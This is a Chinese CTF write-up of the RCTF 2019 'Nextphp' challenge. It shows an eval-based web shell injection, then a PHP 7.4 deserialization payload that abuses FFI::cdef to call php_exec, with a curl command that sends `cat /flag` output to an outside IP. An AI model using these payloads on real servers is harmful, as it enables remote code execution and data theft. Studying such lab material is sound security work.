[RCTF 2019]Nextphp

打开靶机直接给了源码:

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

eval函数没有任何过滤,直接闭合标签写个shell上去

?a=?%3E%3C?php%20eval($_POST[%27cmd%27]);

蚁剑连接发现不能读取文件,只读到了一个文件夹的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
final class A implements Serializable { 
    protected $data = [ 
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];
 
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
 
    public function __serialize(): array {
        return $this->data;
    }
 
    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }
 
    public function serialize (): string {
        return serialize($this->data);
    }
 
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
 
    public function __get ($key) {
        return $this->data[$key];
    }
 
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
 
    public function __construct () {
        throw new \Exception('No implemented');
    }
}

反序列化了

是 PHP 7.4的新特性,可以利用其在服务器启动时加载一些类和函数,然后就可以在之后如同 PHP 的内部实体一样直接调用,仔细读文档,发现一行:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

dangerous? 同样在 phpinfo 里先搜一下:

FFI support = enabled

看来是启动了,于是同样去搜一下这是个啥:

https://www.php.net/manual/en/ffi.examples-basic.php

看起来可以利用 ffi 直接调用 C 语言编写的函数,且示例里还有:

https://www.php.net/manual/en/ffi.examples-callback.php

可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
final class A implements Serializable { 
    protected $data = [ 
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => "int php_exec(int type, char *cmd);"
    ];
 
    public function serialize (): string {
        return serialize($this->data);
    }
 
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
 
    public function __construct () {
    }
}
 
$a = new A;
echo serialize($a);

C:1:”A”:97:{a:3:{s:3:”ret”;N;s:4:”func”;s:9:”FFI::cdef”;s:3:”arg”;s:34:”int php_exec(int type, char *cmd);”;}};var_dump($a->ret->php_exec(2,’curl%20174.0.184.163:2333/`cat%20/flag`’));

开个靶机反弹一下,有flag

参考:https://xz.aliyun.com/t/5218

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud